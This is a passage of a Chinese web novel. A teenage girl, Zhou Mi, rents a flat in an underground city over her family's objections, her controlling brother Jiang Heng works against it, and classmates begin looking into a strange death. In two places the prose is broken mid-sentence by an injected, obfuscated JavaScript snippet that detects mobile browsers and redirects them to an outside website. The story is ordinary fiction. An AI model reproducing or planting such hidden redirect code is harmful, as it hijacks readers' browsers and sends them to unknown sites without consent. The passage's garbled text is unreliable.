可惜,陶明不会告诉她其中缘由,一切都要周觅自己去寻找,一件件一桩桩的事情,周觅在缇娜疑惑的目光中停下脚步,她距离进入这幢陌生的单元楼只有一步之遥。 “怎么了?”缇娜脸歪了歪,好奇地盯着周觅,周觅眼眸四下转动,快速在这幢单元楼前打量,像一个精密的扫描仪,一丝一毫都不放过。 周觅原本就黑漆漆的瞳孔,在思考某一件让她觉得难以理解的事情时,会很深很暗,带有一种无底洞的幽静。像极了外界无论用多大力撼动,也只能泛起一丝涟漪的池塘。 “没什么,我只是在想,很巧,这家人有枪支生意,还刚好有众多房源。”周觅这话听起来有些奇怪,没什么前因后果,缇娜只觉是她对于枪支生意的好奇,一拍周觅肩膀,无所谓道,“巧合而已吧,别想那么多,让自己轻松一点。” 拍了拍周觅瘦削的脊背,缇娜叹了口气,注意到周觅尖尖的下巴,止不住地关心道,“你还好吧?要不我们别去看房了,没关系的。” “或许是我想的太多了。”周觅握住缇娜的手,缇娜回给她个温和又包容的笑容,牢牢牵着她的手往楼上走。 这里的楼层低,只有四层,外面是门面房,两人从小超市的外面绕过去,上了楼,楼梯上有很多可爱的涂鸦,许多装饰物扎在扶手和栏杆上。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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地下城有模拟日光与月光,随着时间转动,即使是假的,但暖光照射在身上,周觅还是恍如回到了418街道内的家。 正如韦德夫人所说,真正的418街道已经消失了,在边防线后面,她仅在为了炽音的灵魂体去过一次,再也不可能会回到那里,躺在童年的小床上。 周觅缓缓转过身,模拟太阳光芒的暖光在她的身上流淌,显现出烫金色的发丝被略带起的风拂起,她温和道,“我觉得我没有看另一个房子的必要了,这里就很好了。” 男人做表情有些难看,脸上的疤痕随着他动嘴角跳动几下,皮肤黝黑却又爬满皱纹,真不是多好看的人,但周觅不讨厌他,一直用善意的眼神看着他。 他抿下唇,自己径直坐在小小的客厅沙发上,简直是一个泄气的皮球,摊满了整个咖啡色的沙发上,周觅觉得面前出现了一块巨大的脏脏包。 “我们来聊一下房租问题。”他从储物戒内拿出纸质合同,顺便和周觅加了联系方式。 周觅仔细翻看着几张合同上的要求时,男人软趴趴的耷拉在沙发上,默不作声,他不着急,认定了周觅会租这里,周觅恰巧也合他意,“可以的,价格您说。” “一个月是2000米拉尔星币,但你是中学生,房东说了,可以减免一些,你要是能帮着再扫扫楼,帮房东买买菜什么的,房租1500米拉尔星币,另外再给你算算工钱,一个月给你700左右米拉尔星币工资,你觉得怎么样?” 周觅觉得这价格倒是合适,只是还有些犹豫,总觉得怪怪的,缇娜立马惊喜地推她,“答应啊,周觅,这价格真不错了。” 缇娜真心为周觅着急,一看周觅犹豫的样,双手放在周觅肩上,不断摇撼她的肩膀,周觅好笑地轻拍一下缇娜的手。 “行,我就住在这里,记得过来玩啊。”周觅才签下自己的名字,缇娜就开心的跳下沙发,双手在胸前激动地拍几下,长吁一口气,“你总算不住在上面了,那么危险的地方,也就你一直敢住,等着周六日,我来找你,我跟你一起去收拾东西。” 缇娜把头搭在周觅肩旁,一双水眸因兴奋迸发出绣球辫子一般柔软又透亮的蓝,不仅仅在阳光底下,在任何时刻,内心充满爱的缇娜都是这样。 周觅无意识向她靠近,缇娜也凑近,和她的肩膀一触即离,两人发出短暂的一声笑,男人从沙发上起身打断了她们旁若无人的打闹氛围。 “谢谢您,威尔逊先生。”周觅起身为他拿来放在一旁的拐杖,威尔逊接过只看她一眼,不多说话,慢慢出门进了对面的房门。 两人不把威尔逊先生的态度放在心上,周觅忙着要给周父周母打电话,缇娜去楼下买点吃的,也是有意给周觅就出单独的空间。 周觅播通电话,看着昨天的一通电话记录,以前么看有过一天一通电话的可能。 她正这么想着,电话已经被接通了,周觅心情不错,问他们忙不忙。 “不是很忙,你怎么想起来给我们打电话啦?”周母那边声音不吵杂,估计真是悠闲的一段休息时间。 他们很忙,周觅不想过多侵占他们的休息时间,于是快速道,“我已经在地下城签好房子了,一个月不贵,但是我还没成年,需要你们签字,你们看忙不忙,我把电子版发给你们,你们签好字我才能办下居住证。” “什么?”周母的声音陡然变尖,她合上自己面前的电脑,对着进来的助理摆摆手,让他出去,转动椅子起身,她明显的压着怒气,“我不是告诉你,这件事情等等再说吗?” 孩子长大了,果然看不住,想起蒋恒阴着脸不发一言的责备,蒋园真是一个头两个大,站起身在房间内踱步,耳边还是周觅光脑通话的声音,她打断周觅,“行,等我和你爸爸商量一下。” 言罢,她脱下身上的医用白大褂,抖了抖放进消毒箱,录好的通话已经私发给蒋恒。 推开实验室的门,周围的几个教授朝她问好,“蒋教授,早上好。” “早上好,小智,你联系一下周校长,我在蒋上将办公室等他。” 她一面打招呼,一面对着来帮她打开消毒间门的助许智轩吩咐,许智轩赶紧送她进了消毒间,立马在光脑私聊除了蒋园以外,唯二的另一置顶联系人——科尔维斯军校校长周砥。 16.消失的街道(八) 星际时代的加班常见的就像人要吃一日三餐一样,主星特拉克快到凌晨一点,整个行政主楼灯火通明,蒋园搭电梯上去,刚好几个实习生下来,一个个都是蔫巴的表情。 这让蒋园想到了种在家院子里的牵牛花,到了夜里也是这幅模样,几人认识蒋园,这种经常出现在新闻版块的科学家,名字实在如雷贯耳。 “蒋老师好!”他们乖巧地问好,蒋园笑眯眯着道,“你们也好,快回家去吧。” 行政主楼每一条路都通往不同的门,如果走错了就要回头走一遍,学生们规划好路线,四下全散了,电梯门缓缓合上。 蒋园笑容淡了,她站在冰凉一片,留不下任何温度的电梯间内,盯着不断上升的层数看,神情略有些许疲惫,整个联邦没人能逃脱加班的魔咒。 她来行政部,大部分原因是和周觅通话后,两人很少能达成一致意见,蒋园不是没想顺着周觅的意思,蒋恒知道后,脸黑了个彻底,不知何时,她这个做姑姑的也害怕起自己的亲侄子。 其实亲不亲的,蒋园并不太在意,就如周觅,是蒋园弟弟蒋庭的继女,因为一些情况,这个侄女现在唤她为母亲,这么算来从周觅八岁到现在也有八年了,蒋园心里早就有了这么个“女儿”的位置。 蒋恒的母亲因为难产去世七八年后,蒋庭才与现在的夫人步入婚姻,成为现在的一家人。 蒋园记着年幼的蒋恒很喜欢这个妹妹,大概八岁,手没多大力气非要抱着小小的妹妹,那时候两家人经常聚会,欢声笑语地看周觅满地乱爬。 比起大人一天有无数件事情,八岁的蒋恒从上学到放学,满脑子的小妹妹。他放学回来慢条斯理脱了外衣,换好鞋,立马跑到妹妹身边去,叽里咕噜地跟妹妹说话,哪有现在这样闷。 小小的周觅也并非什么都不懂,就算大部分无法理解,带着奶嘴睁着大大的眼睛的她也知道要哥哥抱,哥哥就高兴了。 蒋恒买的第一辆自行车非要在后面绑一个儿童座椅,为了这事,没少被脑子有泡的同学嘲笑,说他是妹控,多大的人还喜欢和小孩子玩,只是看过儿童版周觅的人,没法再说任何嘲笑的话。 她穿一件天蓝色的羊毛衫,抱着自己的小水壶,下课早,就一直坐在固定的地方,公寓楼下的台阶上等蒋恒放学,见到哥哥来了,高兴却也不尖叫,羞涩一笑直往单元楼内躲,这可爱的小模样,搞得有几个同学总是坐过站,就为了小小的她说话。 对了,那个时候,她还不是周觅,她是心心,蒋心,一家人手掌心上的小公主。 太多太多了,直到周觅总是无法入睡,超高精神力的发现,蒋园只能在周觅右耳后面装入抑制芯片,想要她与普通人无异,这件事情对身在联邦研究院的蒋园不是难事,难办的是如何隐藏这么个孩子。 可天不遂人愿,联邦派明怀准过来彻查非人物种与人类通婚一事,通婚不是什么大罪,有孩子就一定是全家一起死,周砥胆子大,他说,“我和园园以后会成为她的父母,你们一辈子不要与她见面。” 于是,从蒋心变成了周觅,开启了与父母分别期限可能是永远。 巧的是那一年,418街道出现大面积蓝粒感染者暴动,地下矿场资源无节制的开发,使空气中本就存在的感染源,变得更加混乱不堪,最后整个地上空间除了被保护完好的中区,其余地方几乎无法住人。 联邦派来的人,不知怎么着死在了蓝粒暴动者手里,不仅通婚的人没查到,更不可能查到周觅,可这世界上没有窗户不透风,蒋恒又早早被联邦邀请前去科尔维斯军校读书,当然不会见面,一辈子都不要见才最好,直到全都随自然死亡被埋入坟墓中。 “叮——”的声响,电梯到了,蒋园走出电梯间,越是靠近蒋恒办公室她想的越多,十多年过来了,他们妄图掌控周觅的一生,可周觅总是从他们手掌心溜走,为她创造的温室她不在乎,一切已经开始分崩离析,蒋园想听听蒋恒怎么说。 蒋恒在二十二层楼上的情报局,处理加密文件才下来,光脑被限制无法使用,他才坐电梯下来,光脑的讯息一个劲地响,他皱眉点开,蒋园一般不怎么给他发消息,偶尔碰上,姑侄俩会约个饭。 这种凌晨一点,只能是周觅的事情,他无权限查看的那封信件,想起来就如鲠在喉,蒋恒狠狠咬住自己的下唇,撕扯的痛感带动神经,不用一秒,他快速处理好自己的情绪,推开办公室的门,他的姑姑和姑父都到了。 蒋恒上前用两人握手,情绪不高但毕竟是家人,他开个玩笑道,“姑姑,姑父,是出什么大事了?难为你们过来一趟。” 蒋园同他拥抱,拍拍他的背,一时不知怎么开口,漆黑的眸子内多了许多犹豫,蒋恒只当是没看见,他专心为两人泡杯茶,端上来时热腾腾的茶香搅得种人多了几分饥肠辘辘。 没人会把这种感觉放在首位,永远有比饥饿感更重要的东西。 周砥拿过热烘烘的杯子,吹了吹杯面浮动的茶水始终没喝。 他任科尔维斯校长不过十年左右,十年内他见到了蒋恒从刚进军校到如今成为上将的六年——十八岁到二十四岁,速度太快,蒋恒已经成长到一种令人恐惧的地步。 都说乱世出英雄,蒋恒六年军事生涯内,正是联邦军队在外征战的时间段,大多数成功又出名的战争指挥官全是蒋恒,爬上来如所应当。这个位置没人不眼红,可没人能说什么,未来三大元帅定然有他一席。 这些能让蒋恒上位的机会大部分是周砥牵线搭桥,但是机会给予,不代表结果胜利,一切都是蒋恒自己的能力,可是……周砥想,蒋恒开始膨胀了。 几人将周觅的事情理了一通,蒋园的意思是周觅长大了,多年来精神力没有再崩溃过,她可以离开地上城市,不会有事的,芯片抑制多年来对周觅的监控数据很稳定。 “蒋恒,你怎么看?” 周砥不表态,只是问蒋恒,这位联邦上将却不回话,淡漠的微笑还衔在嘴边,眼眸漆黑却阴沉沉地散发不虞,周砥放下自己手中的杯子,他严厉道,“蒋恒?” 蒋恒扯扯自己的领口,深吸一口气莫名觉得烦闷,双手交叉安稳放在膝盖上,他缓了几秒,在两位长辈神情各异的脸上扫视一圈,嘴角往上一扯看似随意,实则斩钉截铁,不容拒绝道,“我不同意。” “明危行盯上她了。”周砥一句话才出,身旁的蒋园脸色发冷,语气不善,“他要让心心做什么?” 周砥按住她死死掐住自己小臂的手,宽慰似的拍了拍,他摘下自己脸上的金边眼镜,借着动作打量对面的蒋恒。 金边眼镜的镜框在蒋恒办公室顶上过亮灯光的照射下,闪射出几道刺眼的冷光,蒋恒一闭眼,几道光快速掠过他轻闭的眼睛。 冷光的光照透他白到发青的肌肤,碎瓷器一般的皲裂感,锋利又冰冷。 周砥得到了意料之中的答案,对着蒋园解释,“不是什么大事,联邦有个计划给到我们,他们每年负责去星际间找十个人,在大学招生考核中,十人无论什么成绩都必须破格录取到科尔维斯军校。” 他顿了一顿,盯着蒋恒看了几秒,“蒋恒,那天开会你也在。” “是。”蒋恒承认,他在膝盖上交叉放好的双手无意识收紧,眉头轻蹙,“我没想到他们会找周觅。” 什么时候的事情,明危行为什么会认识周觅? 蒋恒眸光发暗,对着周砥和一筹莫展的蒋园肯定道,“这件事交给我,我会去和他说。” “你想说什么?”周砥不放心地问,蒋恒这人表面温和有度,从不冷脸,其实骨子清高,情感压抑,让他去说好话简直不可能,更何况明危行那种疯子,蒋恒怎么可能说得通他。 周砥不同意蒋恒的行为,蒋恒不知可否地抬眸勾唇,“我不说什么,他是上司我是下属,我能说什么?” 不懂两人话题怎么聊到这里的蒋园忍不住打断,“周觅这孩子是铁了心要去地下城,合同都签了,蒋恒,你父母肯定都同意,他们多少年没能光明正大的见心心,你忍心吗?” “忍心?我当然不忍心。”蒋恒眉心一蹙,就是不松口,他解开军装最上面的一粒纽扣,似乎得以大喘一口气,这口气喘完了,他还是觉得憋的很,“我得看着她,她所有的东西我都要清楚,我不允许她在我视线以外的地方生活。” 就是这么一个人,从小到大都非常有主意,所有人的话他只会听到最想听的,做自己最想做的。 周砥清楚早已覆水难收,胸腔内有一口气堵着不好发作,他是科尔维斯的校长,也是联邦上将,面前的蒋恒话语权不比他低。 “你的妹妹不是你的所有物,她有权过自己的人生,而不是被你掌控。”周砥直视蒋恒略低垂的眼眸,他的眼神就像一把利刃割开挡在蒋恒眼前透明又厚重的伪装,周砥警告他,“你会后悔的。” 蒋恒揉揉眉心,他很累了,连续加班好几晚,周觅的事情又快速袭来,他不想再听他人指责,理理自己的军装起身,嘴角往下落,“我不会。” 周砥知晓多说无益,索性闭嘴,他对充满担忧的蒋园摇摇头,示意她别担心。 两位长辈起身告别,蒋恒一直送他们到楼底下,对于今天不愉快的一番谈话,蒋恒心里同样不舒服,他站在联邦的行政楼下,吹了好一阵子晚风。 四月多了,联邦楼底下的花花草草十分茂盛,白天过来上班,樱花几乎要行政楼包围进去,漫天落下的樱花掉在肩头,他偶尔会带着某一瓣进办公室,莫璃会礼貌地提醒他清理掉这片突然出现的花瓣。 在这种日子里,他就会想起周觅,小小的她,总是拉着他的手,问他什么时候放学,什么时候可以一起去公园玩。 去公园会玩到很晚,晚到全是星星遍布的夜空降临,两人躺在干爽的草地上,蒋恒会告诉她那些十分靠近米拉尔的其他星球都分别叫什么,可是这个时候,她已经很困了,趴在他的身上迷迷瞪瞪地入睡,他小心抱起她,将周觅放在她的小床上。 父母很忙,忙着做生意,蒋恒担负起照顾妹妹的责任,几乎是拉着她的手看她长大,她吃什么喝什么都由他喂到嘴边,交了什么朋友也第一时间告诉哥哥。 原来不知不觉已经过去了十六年,原来她长大了,所以要离开了是吗? 蒋恒低垂眼眸,说不出来的夜色带着薄薄的灰蒙住他整个人,郁闷又不甘环绕着他,他似乎褪色了,成了一张被划破的塑料袋,风一吹“沙沙”地响,又或许是军装与手臂的摩挲,这样的声响,在他耳边被无限放大,直到光脑内的电话铃声响起,打断了这种声音在他耳边细细碎碎地作祟。 周觅给蒋园打完电话就觉得不对劲,她立马想到姐姐,周荨今晚应该是夜班,先给她发了个消息,是否能打电话,很快得到周荨的许可。 “姐,我跟妈妈说了我想在地下城住,妈妈好像不愿意给我签字。”周觅生怕蒋园现在一个电话扔过来,直接告诉她否定的结果。 周荨今晚没上班,她今天身体有些不舒服,不然这通电话,周觅还真打不通。 知道自家老妈什么心理的周荨,直接道,“你把合同发给我,我给你签。” “真的吗?”周觅惊喜的在沙发上站起来又坐下,简直不知道要怎么好,她抓了抓衣服下摆,显然是高兴过头。 周荨靠床头坐着,她在等冷允南进卧室一起睡,翻看着面前的书,有一搭没一搭的看着,见电话里周觅那么高兴,她嘴角也勾起来,心情不错道,“当然啦,这有什么难得,你都16岁了,又不是6岁,妈妈不愿意,也是有自己的考虑,来,发给我,我给你签。” 周荨话音未落,消息提示音出来,她打开光脑,利落地签了,周觅在那边的声音抑制不住地高兴。 两姐妹电话里说着话呢,卧室的门被轻轻扭开,冷允南端了两杯水进来递给周荨一杯,他刚洗过澡,今晚下班很晚,还以为周荨身体不舒服先睡了,他在她额头落下一吻,温和道,“在和谁打电话?” “跟妹妹打电话呢,你今晚回来的好晚。”周荨浏览好几遍合同上的条款,都不错也没难为周觅,是个良心房东。 冷允南把脸凑过来看,不禁喃喃念出声,“合同?租房合同,你要搬出去?” 冷允南从背后将周荨抱在怀里,他眉头紧锁,这是不高兴了,周荨好笑地伸手摸摸他的下巴,“不是啊,是妹妹的,她都多大了,妈妈还整天护着她像个小宝宝似的,更何况出了不少命案,他们还让她住那里,不是缺心眼吗?” 这话说的让冷允南脸色更不好了,周荨狐疑地看过来,冷允南立马变脸,他凑过来蹭蹭她的脸,给周荨蹭的很快就软下脾气。 “睡吧睡吧,明早还要去医院呢。”周荨关了灯,躺在冷允南怀里,冷允南抱住她的腰,吻吻她散落在枕头上的发丝,慢慢闭眼。 放在床头的时钟一分一秒往后爬,接近凌晨两点,冷允南的眼睛忽然睁开,夜幕将他一双冷冽的绿眸照的碧透,他轻轻抬起自己放在周荨腰上的手臂,她翻了个身,冷允南在她脸上落下一吻,她伸手就打他的脸,和往常一样,这是她睡着下意识的动作。 冷允南绿眸多了好多水一般温柔的涟漪,但他没忘记要去干什么,轻手轻脚地除了房门,走到阳台上立马拨通蒋恒的电话。 万幸,蒋恒没等电话铃声响太多声,“允南,什么事?” 蒋恒的声音有些远,风把他的声音吹的稀稀落落,冷允南敏锐察觉他心情不好,可是接下来的消息对蒋恒来说也一定是噩耗。 斟酌半天,不知如何开口,蒋恒在办公室内处理事务,还有最后一点,冷允南这个人比这些事务在蒋恒心里重要很多,他不急不忙地加起来,得到的是冷允南半天不说话。 “嗯?”蒋恒疑惑问道,“你打错了?” “不是,是周觅的事情。” 今晚简直被周觅租房子一件事侵占整个夜晚,蒋恒下意识想回避,他翻了一个面前的文件,“不用跟我说她的事情,租房的事情我会解决,我不会让她住在外面。” 冷允南在漆黑的阳台上,莫名舔了舔自己干涩的下唇,“签名了也能改吗?你父母那边应该不会同意。” 租房这件事情背后没有推手,周觅能走出去的可能微乎其微,冷允南多聪明的一个人,他只在周荨的事情上犯傻,不知道被冷家二老骂过多少次耳根子软。 蒋恒瞬间冷脸,他翻看着文件的手停下来,放在桌面,有一下没一下的敲着,声音不大,落在冷允南的耳际却是一种极快速的心脏“砰砰”作响,很乱,很慌。 “蒋恒……”冷允南才出声,忽然察觉到朝他快速砸来的东西,他猛地回头,刚好被枕头迎面狠狠砸中脸颊,不等他解释,周荨对那头的蒋恒骂出声,“蒋恒,你脑子有问题啊,她又不是你的所有物,干什么都要经过你同意?我父母你父母都同意了,少数服从多数,我反正已经签字了,你要是觉得不行,你去告我们吧。” 周荨输出完,想的全都是幸好自己比蒋恒大三个月,不然今天真不好说谁对谁输出了。 蒋恒那头半晌没说话,或许是对这一家人先斩后奏无语,又或许是的确累了,他不再披着礼貌的外套,在周荨输出的瞬间,立马挂断电话,恢复办公室一如既往的安静。 一层死水般喘不过气来的办公室里面活着一条只会吞噬他人的毒蛇,太合适不过了,周荨想起蒋恒笑意不达眼底的一双杏眸,漂亮又精致,十五六岁的蒋恒比现在多几分秀气,现在尽数褪去,满满的英气,是个就算只站在泥泞里都一尘不染的人,也过分冷漠,心简直像冰块雕出来的,实在气人。 周荨没时间多去想蒋恒,面前稳稳跪在她面前的冷允南抱着枕头欲哭无泪得很,不出意外,今晚应该是睡沙发了,他扯扯周荨的睡衣裙摆,可怜兮兮地傻样,周荨没好气的一把拽住他头发,“怪不得问我在干嘛呢,给蒋恒通风报信来了是吧。” “难为我今晚等你到现在,你是心里眼里全是蒋恒,跟他过去吧。” 冷允南知道自己是死定了,他一把抱住周荨就要走的腿,把头贴在她的胸口,祈求道,“我错了,阿荨你别生气,我这不是担心周觅的身份别人发现了怎么办,蒋恒用幻觉磁场这么多年,才把周觅的精神病力控制在稳定数值内,要是崩溃了,他们一家就完了。” 这话说的在理,周荨也还是没用正眼瞧他,她一把推开脸在自己身上蹭的冷允南,冷声道,“滚一边去,这件事情我自有我的判断,有什么事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442329|166206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让蒋恒来找我。” 冷允南慌忙点头,早就把蒋恒抛到九霄云外,扯着她的睡裙下摆使劲晃,“老婆,你让我回去睡吧。” 周荨给他翻个白眼,一把拉回自己的睡裙,搭着拖鞋转身进了卧室锁门关灯一气呵成。独留跪在地板山的冷允南幽怨又哀伤的盯着她背影半晌,最后见她确实不原谅自己,大叹一口气,用力扯了扯头发,都怪自己嘴欠,非要告诉蒋恒,但是蒋恒………手心手背都是肉,冷允南靠在墙上,他做不来这种取舍的事情,真是头疼。 米拉尔星球 周觅收到周荨的电子合同,高兴的在房子里转了好几圈,她把上半身一大半伸出阳台,刚好看见从楼下买好东西上来的缇娜。 “缇娜,我姐姐给我签了!”她趴在窗沿上开心的喊,缇娜对她挥挥手,由衷地为她感到高兴。 金发散了几缕,被风略微勾起,与浮动在波光粼粼池水内的阳光别无二致,她甜甜的笑着,蓝眸透着漂亮又恣意的光。 “快快快,吃完我们就要走了,第一节课老师请假了,不然我们今天肯定迟到。” 缇娜走进来先看了看周觅的合同,周荨的名字签的龙飞凤舞,想不注意到都难,她大松一口气,“你总算是到地下城来住了,前一段时间,上面城市命案几乎隔几天就听到一次,好吓人。” 周觅接过她买的东西,速度不快地咬着,发丝从额角落下来,缇娜为她拂上去。周觅没什么大表情,可盯着缇娜的眼睛看了许久,感激道,“缇娜,谢谢你为我找房子,跟着我来来回回的。” “这有什么的,朋友不都应该这样吗?”缇娜努努嘴,挖了勺雪糕放进周觅嘴里,她缩在双人沙发上,踢开拖鞋,套着白色长袜的脚踩在周觅大腿旁,今天没有训练课程,她只穿了条牛仔裤,上身是一条很修身的毛线衣,比穿军装的时候好可爱太多。 周觅握住她的手,没出声,但两人都知道对方在想什么就够了。 阳台上遮光的纱窗被风勾起一个弧度,光斑从窗外照射进小小的客厅里,温馨又舒适的小屋子,周觅离开前又端详它一遍,还是很满意,轻轻一声落锁,“蹬蹬蹬”的下楼声想切,这里又恢复死一般的寂静。 下午的课程不多,一般都是实战课或者自习,有人会直接不来,高一高二这种风气很盛,高三训练场则全是人,有些甚至回到高一高二这边最基础的训练开始做起。 两人进教室的时候,第二节自习课才开始上,教室里没多少人,基本都去训练场或者提前放学回家了。 “你要去训练场吗?”缇娜收拾自己去训练场用的东西,周觅摆摆手,“我要看会书,我下节课再去。” 没等到第二节课下课,某个眼熟的卷毛丹凤眼的男同学已经站在后门敲敲喊周觅,周觅转过脸见到是明刹直接无视,转过头回去看书。 门外的缇娜从训练场跑回来,她走进班级急匆匆问李阳座位旁边的几个坐在一起打牌的同学,“李阳呢?他没请假,你们每天中午不是一起吃饭,看到他了吗?” “没有没有。” “喊他一起吃中饭的消息,现在都是未读。” 几个同学七嘴八舌的,缇娜一拍脑袋,显然是觉得完蛋了,明刹趁乱从后门悄咪咪地摸进来,他对着周觅一阵挤眉弄眼,周觅把书一合,这书是看不下去了,她抬起下巴,倒是要看看他准备干什么。 明刹坐在缇娜的位置上,扭来扭去,像是便秘了,周觅抬脚要踹,明刹花容失色,“你干嘛?” “你来表演你的身体协调性给我看?别坐这,后边去。”周觅放下自己的脚可威胁的姿态没松懈下来,明刹吓得要死,屁股只剩一半落在凳子上,他大爷似地左看右看,撇撇嘴不服道,“你这又没人坐。” 缇娜早就盯着他了,从后面轻轻拍他,看他要转头立马从后面座位忽然起身,吓得明刹一双丹凤眼快瞪成圆的,不禁捂着胸口大喘气,他成功被缇娜吓回凳子上,正正好好的把屁股放在凳子中央。 “两位,能不能别欺负我,我是过来告诉你们,我今天中午见到李阳和郑老师,听不听?” “说。”周觅往他那微不可查的靠近些,至于吓明刹一跳的缇娜,坐在后面同学的座位上,不乐意靠近明刹。 明刹打个响指,找回了在三人中的存在感,“今天中午我去吃饭,然后……” “我不想听这个。”缇娜有点无语的往后缩一缩,男人嘛,总喜欢找点存在感,但是她不愿意给男人任何一个男性这种机会。 “这不是到了嘛。”明刹没有任何被打断的不满,他勾勾手指头示意两人认真听,“我看到他们俩聊了几句,李阳忽然疯狂往列车上撞,列车上面挂了他的一层皮,恶心我了。”明刹想到李阳的人皮组织,鸡皮疙瘩立马起一身。 人皮? 周觅想起薛质和李阳浑浑噩噩似乎被夺舍的样子,现在就解释得通了,她问缇娜是什么时间见到的薛质,缇娜绞尽脑汁地想了半天,“大概是星期六星期日都见过,但星期一早上他才那种牵线木偶的样子。” “那人给你信可以给我看一下吗?”周觅礼貌地问缇娜,“不方便也没关系。” “当然可以。这有什么的,又对我没造成什么影响。”她从储物戒内拿出厚厚一摞,简直像个复印机不眠不休打上好几天的结果。 明刹接过这些信件,满脸不可置信,“这……谁对你不眠不休的骚扰?” 缇娜耸耸肩,“我怎么知道,快看。” 几人按时间分好,一封一封看,缇娜这种大美女有追求者不意外,她脾气好,乐于助人,很容易让对方产生不切实际的幻想。 “第一封是你上高中的第一个月,字迹都不一样。”周觅将这封推到一边放好,这封已经不在几人考虑之内。 “看来是个没恒心的,这才几天。”明刹要拿过来看,被周觅冷冰冰地看了眼立马心虚缩手,不拿了。 “这一封时间来到高中的第三个月,这个人给你每个星期写一封,第三封后就结束了。”这人也不会是薛质,明刹这个点评大师又上线了,他咂咂嘴,“嗯,这个更傻,缇娜另外两封都没拆开过,还写,简直傻到家了。” 两人无力吐槽他,继续翻看信件,终于时间接近,数量趋于恐怖的一摞来了,这一摞对比其他一些零散的信件,简直把和明刹坐前后位置的缇娜全挡住了。 几人不由自主的往后靠,面前这巨高的一摞怪不得缇娜一开始觉得害怕,这种近乎疯狂的喜欢,或许不是喜欢而是一种不甘,任谁都觉得恶心。 可是这种恶心吐也吐不出来,说也说不出去,只能自己咽下去,周觅知道缇娜不需要可怜,不需要安慰,被这种人喜欢又不是她的错。 不知不觉间,教室内只余下这三人,这么多信件需要仔细看,必须看清楚是从哪一天薛质的信件变得疯狂起来,变得辞藻间出现了扭曲的心理。 “你们真的觉得他还活着吗?”信件当然能得出答案,但是结果还重要吗?明刹左右手各执一封信件,他低着头浏览信件内容,看不出什么表情。 周觅抬眸,冷静的声线抚平两人杂乱的心,“对我们来说不重要,但对薛质来说很重要。” 他的死亡是必然的,米拉尔星球对于被粒子感染者杀掉的人,一直报以无所谓的态度,政府认为自己管不了,这是天灾,不是人为,与他们无关,应该是联邦军方的人来管理。 可是危害等级不到A,军方会认为对人类无较重威胁性 ,不会同意派兵。 “或许这人不是不是感染者。”周觅猜测,她接过明刹递给自己的两封对比明显的信。 时间只隔一天,但风格迥异,“四月一号和四月二号。” “我觉得不对,前几天这就是星期日晚上吧,我和他插肩而过,他还好好的,和平日一样去打篮球。”缇娜心里毛毛的,她使劲眨眼,眸光乱闪一通。 周觅按住她的手拍了拍,下巴往下压,眸光在两人脸上环视一圈,声音低低道,“所以我说,他不是感染者。” “我的直觉很准,他不是,他有可能是我们不敢想的一种身份。”周觅话音刚落,明刹指尖在桌面一戳,他眯眯眼带着不愿意承认的语气道,“异能者。” 17.人皮收集癖(一) 明刹和两人在运输班车站点分别,他说是回家,其实一头扎进昨晚掠过没来得及进去的酒吧。 地下城的酒吧鱼龙混杂,肯定比特拉克严肃到不允许随便搭讪的鬼地方好多了,明刹想也不想在巷尾脱了校服,脚步一转,掀开酒吧门口的珍珠帘,比鱼还滑的脚步立马溜进去。 音乐声大的他一进就像是被揍了一拳,踉踉跄跄地绕道声音较小的一边坐着,揉揉自己的耳朵明显不适应这里。 走到吧台,他拿过酒保递来的酒水单,明刹这种常客甚至不用思考,指尖放在他要的那杯一敲,不过几分钟,调酒师将放置幽蓝色液体的鸡尾酒杯推到明刹面前,“人鱼蓝,请。” 明刹端起酒杯在手上轻轻晃了晃,头顶上的吊灯一颗颗湿漉漉地悬挂着,他想起总是会下雨的特拉克南方,是他的故乡。 他偶尔压力大了,就会到酒吧里点一杯“人鱼蓝”可能不喝,就静静坐着,看他人的舞姿,似乎能窥见在□□内千姿百态的灵魂。 幽蓝色的液体遮住了他的目光,刚一移开手,忽然瞳孔紧缩,明显被眼前人吓了一跳,拔高声线忍不住道,“什么东西,鬼一样。” “鬼一样”的绿咕咕穿着厨师的装束,他带着巨高的厨师帽,绿绿的脸和纯白的帽子,简直像是白墙堆了一层绿漆,还咕嘟咕嘟地发出煮粥声。 酒吧老板为了统一协调这些高矮不一的人和非人物种,特地定做了不一样的厨师帽,有人的厨师帽像个鞋套,绿咕咕的厨师帽就是个巨高的鱼尾裙。 看的明刹一脸惊悚的盯着他瞧,绿咕咕懒得看他一眼,这种话每天不知道要听多少,要是都在意,早就吞药自杀死透透的了。 “抬一下脚,我要收拾东西。”绿咕咕半死不活地把扫地机器人从柜子里搬出来,地上一摊摊污渍都等着这个老旧的机器打扫。 明刹的话唠属性起来了,他有些自责对绿咕咕的外貌评价,开口搭话,“你们怎么不一键更新地板,每家现在都有这种机器,换下来的地板机器就可以自动清醒,很方便。” 绿咕咕“哦”了一声,头也没抬,拿着抹布开始擦桌腿,边擦边提醒道,“我们还有半个小时就要关门了。” 明刹看了眼光脑上的时间,才八点多,他疑惑道,“这个点你们就要关门?” “是的,地下城的作息都不一样,每家店开的也不一样。”绿咕咕提着水桶往后厨里去,明刹一耸肩,一口饮尽人鱼蓝,将它放在吧台上推给收拾的服务员。 服务员看了眼酒水单,很快报出价格,“3000米拉尔星币,您是刷卡还是现金?” “3000?”明刹是富家少爷没错,但不代表这一杯就可以要3000米拉尔星币,他从服务员手里拽过账单,冷笑的打量对面一脸不知所谓的服务员,“我看看是什么东西,一杯酒要收我3000米拉尔星币。” 账单上面明码标价的一长串酒水和食物,明刹傻眼了,他将自己揉到皱皱巴巴的账单递回去,委屈道,“我没点。” 